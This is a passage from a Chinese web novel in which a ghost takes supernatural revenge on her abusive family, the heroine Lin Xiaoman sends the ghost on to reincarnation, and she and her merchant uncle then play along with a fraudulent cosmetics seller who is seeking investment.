《玄学真千金归来,飒翻全京城》 第103章 渡点鬼气给他们 "什、什么?!"林景明瞬间涨红了脸,连连摆手后退,"阿姐你别开玩笑!我、我才不要这样的丫鬟!她们心术不正,要是进了相府还不知要惹出什么乱子呢!" 看着他慌得耳根都红透的模样,小花噗嗤一声笑出来:"哟,小公子还挺挑?" "不是挑!"林景明急得直跺脚,"是、是这种人根本就不能留在身边!阿姐你快别拿我取笑了!" 林小满这才收起玩笑的神色,正色道:“走吧,我们去找王妈妈,把今天的事情告诉她,让她心中也要有个数,至于这两人闹出这么大的动静,就让她们在这里好好躺着清醒一下,至于怎么处置她们那就是王妈妈的事情了,和我们无关。” 林景明挽住;林小满的胳膊,笑意盈盈的说道,“听阿姐的,阿姐说让她们继续躺着那就继续躺着,谁让她们这么作出这种坏事,哼。” 小花一把拉开林景明,“走开走开,墙头草,你没见小满不舒服呢?” “啊?阿姐你不舒服吗?”林景明担忧的赶紧放开林小满,见她果然满脸通红,顿时吓了一大跳。 林小满本来想说没事,转头就看见小花再对自己挤眉弄眼的,嘴唇还一张一合的让她看屋顶。 林小满余光一撇,果然看见两个黑影在那里,立刻就狠狠的掐了一把自己的腰,假装站立不稳的扶住小花,表情更是夸张异常,“哎呀,我的头好痛,不行不行,哎呦喂,快点扶我去王妈妈房间休息休息。” 小花见林景明还愣在原地,赶紧又拍了他一下,大着声音道:“还杵着当木头桩子呢?没听见你姐说不舒服?赶紧搭把手啊!” “啊?噢噢!” 林景明这才回过神,慌忙上前,小心翼翼地搀住林小满的另一只胳膊,嘴上不住地念叨:“姐,你当心点儿,这儿有台阶……慢点慢点……” 林小满则十分配合,一路“唉哟”、“唉呀”地呻吟着,将病弱之态演得十足,任由两人搀扶着,脚步虚浮地挪进了灯火通明的楼内。 直到他们的身影彻底消失在门廊后,杏雨楼屋顶上,两个几乎与夜色融为一体的黑影才微微一动。 两人对视一眼,其中一人轻轻抬了抬下巴,另一人无声点头。 随即,两人悄无声息地掠起,几个起落便消失在沉沉的夜幕之中,仿佛从未出现过。 …… 此时晋城边郊一座略显破败的府邸内,准备起夜的赵母亲眼见到死去多年的女儿,突然出现在自己的床前,尖叫声立刻吵醒了正在大打呼噜的赵父。 赵家夫妇与他们那肥头大耳的儿子,亲眼见到死去多年的赵芷面目惨白归来索命,早已吓得魂飞魄散。 三人屁滚尿流地跪在地上,涕泪横流地哭喊着饶命,口中翻来覆去便是那套虚伪的“骨肉亲情”。 赵芷心中虽恨,但心中一直牢牢记着林小满的告诫,绝不伤及无辜,更不可亲手沾染人命。 她强压下将那三人撕碎的冲动,只是将他们所做的恶事一桩桩、一件件清晰无比地数落出来,字字泣血,句句诛心。 巨大的恐惧让他们还没等赵芷说完,三人便接连眼睛一翻,口吐白沫,直接吓晕死过去。 赵芷凝视着这三个让她痛苦一生乃至死后仍不得安宁的所谓“亲人”。理智最终还是没有让她没有取走他们性命,只是将自身一缕怨煞鬼气渡入了三人体内。 沾染此气者,阳火低迷,运势将衰,百病易生,余生都将在晦暗与倒霉中挣扎,这,便是她最后对父母和弟弟的“馈赠”。 翌日,赵父从昏迷中惊醒,因心神极度恍惚,出门时竟一脚踩空,重重摔在石阶上,头破血流。 大夫诊治后判定,他脖颈以下再无知觉,余生只得缠绵病榻。 家中积蓄早已被挥霍一空,顶梁柱骤然倒塌,经济来源自然是瞬间断绝。 赵母走投无路,只得硬着头皮想去寻早已嫁出的另一个女儿打秋风,岂料途中慌不择路,失足坠下山崖,当场毙命。 而那赵家小弟,本就心术不正,见母亲横死,父亲瘫痪成了累赘,竟毫不犹豫地变卖了仅剩的宅邸,将老父草草丢弃在乡下漏风的茅草屋里,卷了所有钱财一头扎进赌坊妓院,企图逍遥快活。 只可惜身负鬼气,厄运缠身,他很快输光了所有家当,更因放纵无度,染上了一身肮脏的恶疾,最后浑身溃烂,悄无声息地病死在无人角落。 直至尸身腐烂发臭,爬满蛆虫,才被邻里发现。 曾经吸吮着赵芷血肉的赵家,就此彻底绝户。 了却所有前尘恩怨的赵芷,于约定之夜悄然出现在丞相府。 林小满依诺而行,设坛施法,为其超度。 怨气既消,执念已了,赵芷的魂魄总算是踏入了轮回往生之路,甚至连王妈妈,都特意来送了她最后一程。 至于装神弄鬼的阿红和阿绿,第二日清晨是被官差一盆刺骨的冷水泼醒的。 经此一夜极致惊吓,又在阴寒之地躺了许久,两人三魂七魄已然不稳。 醒来后便是目光涣散,神情癫狂,逮着人便胡言乱语,手舞足蹈地比划着她们昨夜如何被“赵芷的鬼魂”追索性命,将那“女鬼”的狰狞模样描述得活灵活现,倒像是真见了鬼似的。 虽本是她们装神弄鬼在先,但昨夜被赵芷显形一吓,假恐怖变成了真梦魇,竟似真的有些癔症了。 王妈妈早已从林小满处得知了全部真相,心中又气又恨。 她当即站出来,将阿红、阿绿如何被富商收买,如何在楼内装神弄鬼、破坏生意、企图逼她贱卖产业的阴谋原原本本公之于众。 众人哗然,真相大白之下,杏雨楼闹鬼的风波瞬间平息。 王妈妈更是趁势运作,一番解释安抚,不仅洗清了杏雨楼“凶宅”的污名,反倒因这离奇曲折的故事引来不少好奇之人,生意竟比往日更加红火起来。 第104章 自我PUA第一人 至于幕后那位企图趁火打劫的富商,见阴谋败露,阿红阿绿这两个棋子也已废掉,深知再无便宜可占,生怕惹上官司,早已灰溜溜地拍拍屁股,躲得无影无踪了。 “舅舅,您不觉得您这次太过分了吗?”林小满端坐在沈盛德京城府邸的正堂下首,板着一张小脸,语气里是毫不掩饰的恼火。 小花像个尽职尽责的应声虫,紧紧站在她身后,林小满每说一句,她就用力点一下头,以实际行动表达着无声却强烈的支持。 沈盛德却只是搓着手,嘿嘿傻笑,试图用装傻充愣蒙混过关。 “舅舅!”林小满音量提高了几分,“您就不担心那女鬼怨气太深,道行太高,我万一打不过怎么办?您就让王妈妈来找我!” “哎哟,我的好外甥女,这有什么好怕的?”沈盛德赔着笑脸,语气笃定,“你的本事舅舅我还能不清楚?那赵芷再厉害,她手上可没沾过人命,闹了这么久,你见谁真受伤了?再说了,” 他凑近些,压低声音,带着几分哄骗,“她能比陆家那个人头鬼还厉害?那个怪物你都是动动手指头就解决了,这点小场面,对你来说还不是手到擒来?再说了,你去看了之后,如果解决不了,你肯定就不会接手了嘛。咱们沈家的人,脑瓜子真是聪明。” 林小满没好气地“切”了一声,白了舅舅一眼:“您对我倒是了解得很啊!” 沈盛德立刻挺起胸膛,满脸与有荣焉的骄傲:“那必须的!你可是我沈盛德的外甥女!” 说完,他话锋一转,带着几分急切和期待问道:“所以……杏雨楼那边,那个女鬼的事儿,已经彻底解决干净了吧?” 林小满学着他刚才那副得意洋洋的样子,扬起了下巴,语气夸张:“那~是~自~然~!有我林小满出马,还有解决不了的事情吗?” “哈哈哈!我就知道!”沈盛德闻言抚掌大笑,毫不吝啬地竖起大拇指,“咱们家小满一出手,那是天下难题全没有!哈哈哈……” 他笑了一阵,偷偷觑了眼林小满的脸色,见她似乎余怒未消,眼珠一转,立刻换上副小心翼翼、可怜巴巴的表情,试探着问:“那个……小满啊,你今日特意过来,不会……不会是专门来找舅舅我算账的吧?” 说完,他还故意缩了缩脖子,做出副十分害怕的模样,活像只怕被教训的大狗。 他这夸张的表演果然逗乐了林小满,她绷不住,“噗嗤”一声笑了出来,方才那点佯装的怒气瞬间烟消云散。 林小满忍着笑意,摆摆手道:“我哪敢真来找您的麻烦呀?要是让我娘知道我来找舅舅您的茬,她非得好好教训我一顿不可。” 沈盛德闻言站起身来,故作高深地摇了摇手指:“非也非也,在你母亲心里,你这个宝贝女儿才是最重要的。” 说着,他走到桌边端起一盘鲜红的荔枝,殷勤地递到林小满面前:“快快,尝尝这个,岭南刚快马送来的,甜得很!” 他细心地剥开一颗荔枝,将晶莹剔透的果肉递给林小满。 林小满接过放入口中,眼睛顿时亮了起来,惊喜道:“真的好甜!” 见外甥女喜欢,沈盛德喜上眉梢,连忙又剥了一颗塞进林小满嘴里,谁知林小满突然被呛到,剧烈地咳嗽起来,脸都涨红了。 “哎哟,这是怎么了?”沈盛德顿时慌了神,急忙轻拍她的后背。 小花也赶紧递上茶水,林小满喝了一口,好不容易才缓过气来。 “咳咳……刚、刚才这颗有点酸,呛到喉咙了……”林小满抚着胸口,声音还带着些沙哑。 听到这话,沈盛德才松了口气,脸上写满了愧疚:“都怪舅舅不好,怎么就没仔细挑颗甜的给你呢?” 林小满趁机嘟起嘴,佯装生气道:“就是嘛,怎么不挑好的给我吃?哼,我生气了!” 沈盛德见状,忙赔着笑脸哄道:“那要怎么样才能让咱们小满消气呢?要不……舅舅库房里的东西,随你挑一件怎么样?” 这话一出,站在身后的小花眼睛瞬间亮了起来,连忙偷偷用手指戳了戳林小满的后背。 林小满强压下嘴角的笑意,装出一副勉为其难的模样,沉吟片刻才道:“嗯……看在舅舅这么诚心诚意的份上,那我就勉为其难地答应了吧。” 说完,她趁沈盛德不注意,飞快地回头对小花抛了个得意的眼神,主仆二人心照不宣地交换了一个狡黠的笑容。 待到林小满和小花从沈府出来时,两人已是收获颇丰。 林小满发间簪了一支精巧的碧玉玲珑簪,腕上套着个水头极足的翡翠镯子;小花头上也多了几支亮眼的珠花,怀里还抱着个装满各式新奇小玩意的锦盒。 两人提着、戴着“战利品”,心满意足,脚步轻快得几乎要蹦跳起来。 沈盛德跟在她俩身后送客,望着自己库房里被挑走的几件宝贝,脸上不禁流露出一丝肉痛之色,虽极力掩饰,那愁容还是隐约可见。 林小满回头瞥见,立刻停下脚步,眨着大眼睛故作天真地问:“舅舅,您怎么啦?看起来不太开心呀?” 沈盛德猛地回过神,把脑袋摇得像拨浪鼓:“没有没有!绝对没有!舅舅开心得很!” 林小满“唉呀”一声,拖长了调子,狡黠地笑道:“不会是我们拿得太多,舅舅心疼了,不高兴了吧?” 沈盛德闻言,立刻强扯出一个无比灿烂,甚至有些过头的笑容,语气斩钉截铁:“怎么会呢!胡说!你们愿意拿舅舅的东西,那是说明喜欢舅舅、跟舅舅亲!对不对?不然别人的东西,请你们拿你们还不拿呢!” 他一边说一边用力点头,试图让自己看起来无比真诚。 林小满听着这番分明是自我安慰兼带“PUA”他自己的言论,忍不住噗嗤笑出声,空出一只手冲沈盛德竖了个大拇指:“舅舅,有眼光!您说得简直太有道理了!” 第105章 贾富贵 就在这时,一辆青篷马车在沈府门前稳稳停下。 车帘掀开,一位约莫四十来岁、身着绸衫、商人模样的男子利落地跳下车。 他目光扫过门前满载而归、珠光宝气的林小满主仆二人,眼中闪过一丝不易察觉的打量,随即迅速堆起满脸热情的笑容,快步走向沈盛德,拱手道:“沈爷!许久不见,今日可还好?” 沈盛德一见来人,脸上的笑意瞬间收敛,板起了面孔,语气也淡了几分:“不久,也就今早没见而已。我好得很。你今日又来做什么?” 那人虽碰了个软钉子,却毫不在意,依旧是一副笑脸迎人的模样,凑近几步拱手道:“沈爷您贵人多忘事!小的前几日不就邀您得空去我那胭脂铺子考察指点一番么?您当时说‘改日’……” 他拖长了调子,脸上堆满殷勤的笑:“这不,小的想着,择日不如撞日,看今日天色正好,沈爷想必也得了闲,这就特地赶了马车过来接您了!” 林小满站在一旁,饶有兴致地上下打量着这位不请自来的人,嘴角弯起一抹浅淡的弧度,与小花交换了一个心照不宣的眼神。 她主动上前一步,扯了扯沈盛德的衣袖,声音清脆:“舅舅,这位是……?” 沈盛德刚欲开口,那贾富贵一听林小满的称呼,眼睛顿时一亮,身子立刻躬下去半截,脸上的笑容愈发灿烂热络:“哎哟!这位想必就是相府的林小姐吧?真是百闻不如一见!久仰久仰!小的贾富贵,在京中开了间小小的‘雪香斋’,做些胭脂水粉的微末生意,不知林小姐可曾听说过?” “雪香斋?”林小满语气平淡,“我的胭脂水粉,向来都是宫里嬷嬷或相熟匠人定制,外头的铺子,倒是不太知晓。” 贾富贵脸色微微一僵,但立刻恢复如常,连连点头:“是极是极!林小姐您是何等尊贵的身份,用的自然都是顶好的东西,是小的唐突了。” 他话锋一转,趁机发出邀请:“林小姐今日若得空闲,不如赏光与沈爷一同到小店看看?铺子里前些日子刚到了一批新货,无论是南海的珍珠粉,还是西域的玫瑰露,成色都是极佳的……” 林小满眼中闪过一丝兴味,唇角勾起:“好啊。”她转头看向沈盛德,语气带着几分撒娇的意味:“舅舅,反正今日无事,我们就一起去贾掌柜的铺子走走看看呗?” 沈盛德本欲拒绝,但见林小满满眼期待,到嘴边的话又咽了回去,无奈地笑了笑:“也罢,既然你想去,那便一起去走走罢。” 贾富贵闻言,简直喜出望外,脸上的笑容都快溢出来了:“太好了!太好了!沈爷和林小姐肯赏光,真是我雪香斋天大的福气,蓬荜生辉啊!” 他赶忙侧身,毕恭毕敬地做了一个“请”的手势:“小的马车还算宽敞,二位若是不嫌弃……” 不等他说完,小花立刻上前一步,挡在林小满身前,“有劳贾掌柜费心。不过我家小姐身子娇贵,加上今日身子不太爽利,坐不惯外头的马车。我们自有车驾跟随,你在前面引路即可。” 贾富贵顺着小花的视线望去,只见街道不远处稳稳停着一辆极为醒目的马车。 那马车通体由紫檀木打造,车顶四角悬挂着精巧的银铃,车窗帘幕是用上好的苏绣缎子制成,绣着雅致的兰草纹样,车辕上鎏金的丞相府徽记在阳光下隐隐生辉,一旁肃立着两名眼神锐利、身形挺拔的护卫。 其华贵气派,与他那“还算宽敞”的青篷马车一比,高下立判。 贾富贵见状,立刻点头哈腰地应道:“是是是!小的明白,小的明白!那小的就在前头为沈爷和林小姐引路,辛苦二位尊驾随行。” 说罢,他便快步走向自己的马车,姿态谦卑。 林小满轻盈地一步踏下台阶,回头对着还在门廊下的沈盛德扬声唤道:“走了,舅舅!还愣着做什么?” “好了好了,来了来了。”沈盛德应着声,快走几步跟了上来,三人一同走向那辆华贵的丞相府马车。 马车缓缓行驶在京城熙攘的街道上,车厢内铺设着软垫,十分稳当。 林小满和小花坐在一侧,沈盛德坐在对面。 林小满饶有兴致地掀开窗帘一角,望着窗外车水马龙、人声鼎沸的景象。 街道两旁店铺林立,各式招牌旌旗飘扬,小贩们的吆喝声、顾客的讨价还价声此起彼伏,充满了鲜活热闹的市井生活气息。 沈盛德看着外甥女打量窗外的侧脸,犹豫了片刻,还是忍不住开口问道:“小满啊,舅舅怎么觉得……你好像对这贾掌柜,格外有些兴趣?” 林小满放下窗帘,转过头来,脸上漾起一个再自然不过的笑容:“那当然呀,舅舅,世上哪个女子对胭脂水粉不感兴趣呢?” 沈盛德却是一脸“我信你才怪”的表情,狐疑地打量着自家古灵精怪的外甥女,摇了摇头:“得了吧,你还想糊弄舅舅?你呀,从可不会对这些姑娘家的胭脂水粉真正上心。你感兴趣的,从来都是那些神神叨叨、稀奇古怪的玄学之事,或是……” 他压低了声音,“不会又发现了什么‘不干净’的东西吧?” 林小满被他这副“我早已看透你”的模样逗得“噗嗤”一声笑了出来,眉眼弯弯:“舅舅,您果然是最了解我的人!” 沈盛德一听,整张脸都写满了好奇,身子不自觉地向前倾了倾,压低声音追问道:“怎么样,小满?舅舅刚才猜对了吧?是不是……那贾富贵或者他那铺子有什么古怪?” 林小满拖长了音调“哎——”了一声,眨着无辜的大眼睛:“没有呀——舅舅您想多了,我就是单纯想去瞧瞧有没有什么新奇的胭脂水粉嘛。” 沈盛德见她不肯松口,故意摆出一副“我才不信”的表情,哼了一声:“哼,算了算了,你不肯说实话就算了。不过……” 第106章 和我去江南做生意吧 他语气转为认真,“你若是真要去他那儿看,瞧瞧就行了,可千万别真用他家的东西,他那儿的胭脂水粉……不太安全。” 这话果然勾起了林小满的兴趣,她立刻追问道:“哦?怎么个不安全法?” 沈盛德见成功引起了她的注意,便仔细解释道:“一来是他的配方。他为了追求立竿见影的效果,让客人觉得肤质瞬间变白变嫩,常常会掺些来路不明、或是药性极猛的东西。其二便是用料。他惯会以次充好,用的多是些廉价劣质的原料,只是用香料和颜色遮掩过去。” 他顿了顿,神色更加严肃:“那些东西刚涂抹上时,或许真显得肤光胜雪,细腻可人。但时日稍长,轻则皮肤发红、发痒、起疹子,重则恐怕会损伤肌理,反而让脸色变得暗沉蜡黄,甚至留下斑痕。京城里也不是没有出过事儿,只是他手段活络,又肯花钱打点,才一直维系到现在。” 林小满闻言,眼中闪过一丝讶异,好奇地追问道:“舅舅,您怎么会对这些胭脂水粉的门道了解得如此清楚?难不成咱们沈家如今连这女儿家的行当也有所涉猎?” 沈盛德闻言,顿时哈哈大笑,带着几分商贾特有的豪气与自得:“开玩笑!你舅舅我啊,恨不得三百六十行,行行都得插上一脚!你要是哪天在京城待腻了,想出来做点生意玩玩,尽管来江南找舅舅!不管你想做什么,开绣坊、办酒楼、还是弄个脂粉铺子,舅舅保准给你置办得风风光光,要人给人,要钱给钱!” 林小满被舅舅的豪言壮语逗乐了,笑着应道:“好啊,那外甥女我可就记下了!” 她话锋一转,回到正题:“不过这贾富贵,他今日这般殷勤,缠着您到底所为何事?是想攀上您这根高枝?” “我算哪门子高枝?”沈盛德摆摆手,语气带着几分自嘲,“京城里头达官显贵多了去了,真要攀附也轮不到我。他不过是瞧着我略有几分家资,想拉我入股投资他这胭脂铺子罢了。” 他接着解释道:“我上一回来京城时,偶然机会认识了他。那时他便透露出想让我投钱的意思。他那铺子,‘雪香斋’,名头听着不小,在京城及周边竟也开了有十几家分号。我起初看他生意铺得挺大,也确实有些好奇,既已做得这般红火,为何还需找人投钱来分他的利?” 沈盛德说着,脸上露出几分精明与不屑:“于是我便私下派人去仔细查探了一番。这不查不知道,一查才发现此人心术极为不正!他店里的货物大多是以次充好,价格却定得奇高,因此时常惹出纠纷,被告上公堂。赚来的银钱,大半都填了打点官府和安抚苦主的窟窿,铺子实则是个空架子,根本没多少实利。他便想寻个不明就里的‘冤大头’投钱进来,替他填坑续命。你舅舅我行走江湖这么多年,能上他这种恶当?” 他叹了口气,显得有些烦躁:“本以为此事早已了结,没想到这次我刚到京城没多久,又被他不知从哪儿得了风声,这不,又像个膏药似的贴了上来,甩都甩不脱!” 沈盛德说着,故作委屈地看向林小满,摸了摸自己的脸:“小满啊,你说说,舅舅我长得就那么像个人傻钱多的冤大头吗?” 林小满被舅舅那副夸张的表情逗得“噗嗤”一笑,连忙哄道:“怎么会呢!舅舅您天庭饱满,地阁方圆,一看就是精明睿智、眼光独到的大富商之相!谁敢说您像冤大头?” 她话音未落,或许是因为笑得动作大了些,发间那支刚得来的碧玉玲珑簪竟倏地滑落下来,幸好被一旁的穗子勾住,才没掉到地上,只是斜斜地挂在鬓边,显得有几分滑稽。 林小满顿时有些尴尬,脸颊微红,朝着沈盛德不好意思地笑了笑。 沈盛德先是一愣,随即看着她那略显狼狈又强装镇定的模样,忍不住放声大笑起来,车厢内充满了快活的气氛。 “小花,快,快帮我把簪子取下来重新簪好。”林小满赶忙侧过头。 小花一边忍着笑,一边小心翼翼地帮她把簪子取下。 沈盛德看着眼前这一幕,目光落在林小满那张与自家小妹年轻时颇有七分相似的侧脸上,此刻正泛着娇憨的红晕,眼中不禁流露出几分欣慰与宠溺的笑意。 时光仿佛倒流,让他看到了妹妹年少时的模样,心中满是温情,十几年的乡村生活,幸好她还保留着最原始的天真。 沈盛德在心里暗暗发誓,一定会好好补偿她错过的那十多年。 就在这温馨而欢快的氛围中,马车轻轻一顿,缓缓停了下来。 车夫的声音从外头传来:“小姐,舅老爷,前面贾掌柜的马车停了,看招牌,是‘雪香斋’到了。” 车夫话音刚落,贾富贵殷勤的声音便已在车外响起:“林小姐,沈爷,咱们到了!请您二位移步。” 林小满轻轻“嗯”了一声,率先弯腰走出车厢。 贾富贵虽为人不堪,表面功夫却做得十足,见状立刻快步上前,恭敬地伸出手臂,让林小满纤纤玉指虚搭在自己小臂上,稳稳地搀扶她下了马车。 待沈盛德和小花也相继下车后,他侧身引路,脸上堆满笑容,做了一个极其标准的“请”的手势:“几位贵客,这边请,小心台阶。” 贾富贵率先一步跨进“雪香斋”的门槛,立刻故作威严地轻咳了两声。 店内的伙计们显然早已被提点过,瞬间停下手中的活计,齐刷刷地站直身子,高声问候:“掌柜的好!” 贾富贵这才满意地“嗯”了一声,旋即又变回那副点头哈腰的模样,转向沈盛德和林小满,解释道:“沈爷,林小姐,您二位见谅。这会儿日头正晒,天儿热,各家夫人小姐们大多不愿此时出门,店里清静些,正好方便林小姐您慢慢看,慢慢挑。” 第107章 一起喝茶 他搓着手,语气热络,“林小姐,您看……要不要随意逛逛?” 林小满依旧是淡淡一声“嗯”,算是回应。 贾富贵便立刻打起十二分精神,亲自在前引路,从店铺左侧的货架开始,一件件介绍起那些包装精美的胭脂水粉、香膏露液。 他口若悬河,极力吹捧着每样商品的非凡之处。 林小满看似随意地听着,目光漫不经心地扫过那些琳琅满目的货品,大多只是轻轻颔首,并不多言。 只是当她的视线掠过中央柜台时,却微微一顿,目光被一盒放置在锦缎上的碧绿色胭脂盒吸引住了。 那胭脂颜色极为纯正,宛如一汪凝住的春水,在略显昏暗的店内也透着莹润的光泽。 贾富贵何等精明,立刻察觉到了林小满目光的停留。 他迅速上前,小心翼翼地将那盒碧色胭脂捧到林小满面前,语气更加热切了几分:“林小姐真是好眼光!此乃本店今春推出的新品,名为‘碧潭凝翠’。 “您瞧这色泽,是用最上等的蓝靛花蕊,辅以南海珍珠粉和西域进贡的绿松石细末,经过九九八十一道工序秘制而成,不仅色泽独一无二,持久艳丽,更兼具滋养肌肤之奇效,涂抹后能使肌肤细嫩如玉,光采照人。” 林小满指尖轻点那盒碧色胭脂,唇角含着一抹浅笑,点头道:“嗯,是不错。这颜色确实鲜亮夺目,世间少见。” 她说着,侧头看向身旁的沈盛德,语气天真又似意有所指:“舅舅您看,这胭脂红得这般浓艳,乍一看,倒像是用最新鲜的血液凝练而成的呢,是不是?” 她这话音刚落,贾富贵脸上的笑容瞬间僵住,眼底飞快地掠过一丝不易察觉的慌乱,但他很快便强自镇定下来,干笑两声:“林、林小姐真是……真是风趣!这颜色是采用了特殊的古法秘制,方才如此鲜亮润泽,京中的夫人小姐们都喜爱得很,是小店眼下最紧俏的货品,绝非……绝非您说的那般。” 为了转移话题,贾富贵身体一侧,赶忙指向另一侧的货架,语气更加殷勤:“林小姐,这边还有不少珍品您未曾过目呢,都是从江南新到的上等货色,您要不要再……” 林小满却意兴阑珊地摇了摇头,抬手轻轻按了按太阳穴,语气带上一丝慵懒:“今日就先看到这儿吧,走了这些路,有些口渴了。” 贾富贵一听“口渴”二字,眼中精光一闪,立刻觉得机会来了,忙不迭地躬身引路:“是在下疏忽了!林小姐,沈爷,小店里面设有一雅间,专供贵客休憩品茗,清静雅致。不如先移步内间,喝杯清茶润润喉,歇息片刻?” 林小满懒懒地抬了抬眼,似有若无地“嗯”了一声,算是应允:“行吧。” …… 贾富贵将林小满和沈盛德引至雅间,手脚麻利地亲自为他们斟上两杯热气腾腾的香茗。 他脸上堆着笑,语气不无炫耀地说道:“林小姐,沈爷,请用茶。小的这茶叶,自然不敢与相府和您江南府上的珍藏相比,但在咱们京城地界,也算得上是独一份的稀罕物了。这是托人从云雾缭绕的武夷山巅采来的正岩大红袍,每年产量极少,您二位尝尝这香气、这滋味……” 沈盛德闻言,端起茶杯,轻轻吹开浮沫,笑道:“贾掌柜这么说,那我可真要好好品品这‘独一份’的滋味了。” 他细细啜饮一口,闭目回味片刻,点了点头:“嗯,茶汤醇厚,岩韵明显,确实是难得的好茶。” 这时,一旁的林小满却微微蹙起眉头,抬手轻轻揉了揉太阳穴。 沈盛德立刻注意到了她的异样,关切地问道:“怎么了小满?是不是身子不舒服了?” 林小满放下手,勉强笑了笑:“没事的,舅舅。可能就是近来时常有些头晕,许是回京之后一直有些水土不服,还没完全适应过来。” 沈盛德嘴角几不可察地轻微抽动了一下,心中暗道:水土不服?你这丫头回京城都快小半年了,这会儿才水土不服?但他面上却丝毫不显,只是温和地劝道:“既然不舒服,要不舅舅这就送你回府歇息?身体要紧。” 林小满立刻摇了摇头,目光转向一旁殷切望着她的贾富贵,唇角重新漾起一抹浅笑:“不用了舅舅,我觉着和贾掌柜颇为投缘,还想再和他多聊几句呢。再说,这茶还没喝完,岂不辜负了贾掌柜的一番美意?” 贾富贵一听林小满这话,简直喜出望外,仿佛看到了金元宝在向他招手,忙不迭地应和:“哎哟!林小姐您这话可真是说到小的心里去了!能得林小姐青眼,是小人天大的福分!您肯赏光多坐坐,是小人求之不得的!” 他一边说着,一边又殷勤地替两人续上茶水,脸上的笑容愈发谄媚:“林小姐若是喜欢,这大红袍待会儿便给您包上一些带回府去慢慢品尝。只要林小姐和沈爷高兴,小人这店里但凡有能入您眼的,都是小人的荣幸!” 沈盛德看着贾富贵这副恨不得把整个铺子都拱手送上的模样,心中暗觉好笑,面上却只是端着茶杯,不动声色地又呷了一口,目光在雅间内随意打量起来。 林小满捧着温热的茶杯,指尖轻轻摩挲着杯壁,似乎真的对贾富贵产生了浓厚的兴趣,语气轻快地问道:“贾掌柜的生意做得这般大,想必平日里一定十分忙碌吧?不知除了这胭脂水粉,可还做些别的营生?” 贾富贵下意识地摸了摸大拇指上戴着的玉扳指,脸上露出恰到好处的谦逊笑容:“托您的福,这‘雪香斋’在京城内外确实也开了十几家分号,勉强算得上薄有规模。不过嘛,” 他话锋一转,语气带着几分自嘲,“说到底也只是守着胭脂水粉这一亩三分地,小打小闹,哪里比得上沈爷产业遍布南北,涉猎广泛,那才是真正的大手笔。” 第108章 入股投资小店 他说着,一脸由衷敬佩地看向沈盛德:“不瞒林小姐说,小的平生最敬佩的就是沈爷这样的人物,若是有朝一日,小的能有沈爷千分之一,不,万分之一的能耐和眼光,那我贾富贵这辈子也算没白在商海里扑腾这一遭了!” 他说完,自己先呵呵地笑了起来。 沈盛德放下茶杯,摆了摆手,语气平淡却自有一股气势:“贾掌柜过谦了。你亲自所打出来的这份家业已然十分难得,我们沈家能有今日,更多是仰赖祖辈积攒下的根基和口碑,并非我一人之功,说起来,贾掌柜要更优秀些。” 林小满适时地接过话头,一双明眸好奇地打量着贾富贵,语气关切:“贾掌柜过谦了。不过……我方才听您言谈间,又观您眉宇神色,似乎隐有一丝愁绪?可是近来遇到了什么难处?若方便,不妨说来听听?” 贾富贵一听这话,简直如同久旱逢甘霖,立刻坐直了身子,重重叹了口气,脸上瞬间堆起了愁容:“林小姐您真是……真是慧眼如炬,体察入微啊!实不相瞒,” 他压低了声音,一副推心置腹的模样,“小的这铺子,表面看着光鲜,分号开了十几家,每日客人进进出出,热闹非凡。可这内里……唉,简直是金玉其外,败絮其中,有苦难言啊!” 他捶了捶手心,表情痛心疾首:“林小姐可知为何?只因小的坚持要用最好的原料,南海的珍珠、西域的宝石粉、云贵的珍稀花卉……哪一样不是成本高昂?可小的想着,京城的夫人小姐们何等尊贵,用的东西必定要最好的!所以宁可自己咬牙贴着本钱,也断不敢以次充好,更不敢将价格定得虚高,生怕辜负了大家的信任。” “可这样一来,成本极高,利润却极其微薄,不过是勉强维持着场面罢了。不瞒二位,时常有同行劝我,说‘贾掌柜,你这般死心眼,何时才能发财?不如学学我们,用料减上几分,价格提上几成,这银钱自然就滚滚来了’。可是!” 他猛地提高了声调,一副大义凛然的模样,“这种昧良心的事,我贾富贵是决计做不出来的!宁可不赚钱,也绝不能坏了口碑,辜负了主顾们的信任!” 沈盛德听着贾富贵这番“慷慨陈词”,嘴角忍不住抽搐了一下,差点没当场笑出声来。 幸好站在他身后的小花眼疾手快,不动声色地用手指轻轻捅了捅他的后背。 沈盛德立刻会意,强行将笑意憋了回去,猛地咳嗽了两声以作掩饰,随即坐直了身子,脸上努力摆出一副深受感动的表情,抚掌赞叹道:“贾掌柜这番肺腑之言,真是……真是令人动容啊!如此坚守商道,诚信经营,宁可自己吃亏也绝不亏待主顾,实乃我辈商贾之楷模!嗯……这个……这个……” 他一时词穷,似乎找不到更合适的词语来继续这番“高度赞扬”,场面顿时有片刻的凝滞。 一旁的林小满见状,立刻自然地接过话头,语气真诚,目光中满是钦佩之色:“舅舅是想说,贾掌柜这般‘宁损己利,不欺客心’的品格,实在是千金难买,万金不换。在这利字当头的世道里,能如贾掌柜这般始终保持初心,将口碑和信誉视若生命的商人,真是凤毛麟角,难怪‘雪香斋’能做得如此声名远播。贾掌柜,您真是让人佩服。 贾富贵听到林小满这番“高度赞扬”,立刻得意地哈哈大笑起来,连连摆手道:“谬赞了!林小姐您真是谬赞了!小的只是恪守本分,实在当不起如此盛誉!” 他一边说着,一边用余光偷偷观察林小满和沈盛德的神色。 见两人都面带“赞赏”的微笑,尤其是林小满,眼神中似乎还带着几分“钦佩”,看起来心情很是不错。贾富贵心中窃喜,觉得时机已然成熟。 他决定乘胜追击,搓了搓手,嘿嘿笑了两声,突然将椅子向前拖动了几分,凑近了些许,摆出一副推心置腹的姿态,压低声音道, “沈爷,林小姐,承蒙二位如此看得起小的,小的也就……就厚着脸皮实话实说了。您二位也看到了,小的这铺子如今确实是外强中干,资金周转极为困难。实不相瞒,小的此次冒昧前来叨扰沈爷,确实是……是有一事相求。” 沈盛德强忍着内心翻涌的笑意和吐槽的欲望,这满口仁义道德、实则一肚子坏水的奸商,居然还真能把自己包装得如此高大上! 要不是小满这丫头不知在打什么主意,玩心大起,他早就拂袖而去了,多待一刻都觉得沾染了一身的虚伪铜臭。 他面上却依旧维持着温和宽厚的神情,抬手示意道:“贾掌柜不必如此客气,有什么难处但说无妨。能帮得上忙的,沈某自然不会推辞。” 他语气平稳,一副真的被对方的“高风亮节”所打动的样子。 贾富贵见他们二人都目光灼灼地看着自己,神情“专注”且“鼓励”,自觉铺垫已然足够,气氛烘托得也十分到位,便不再犹豫,清了清嗓子,直接开口道: 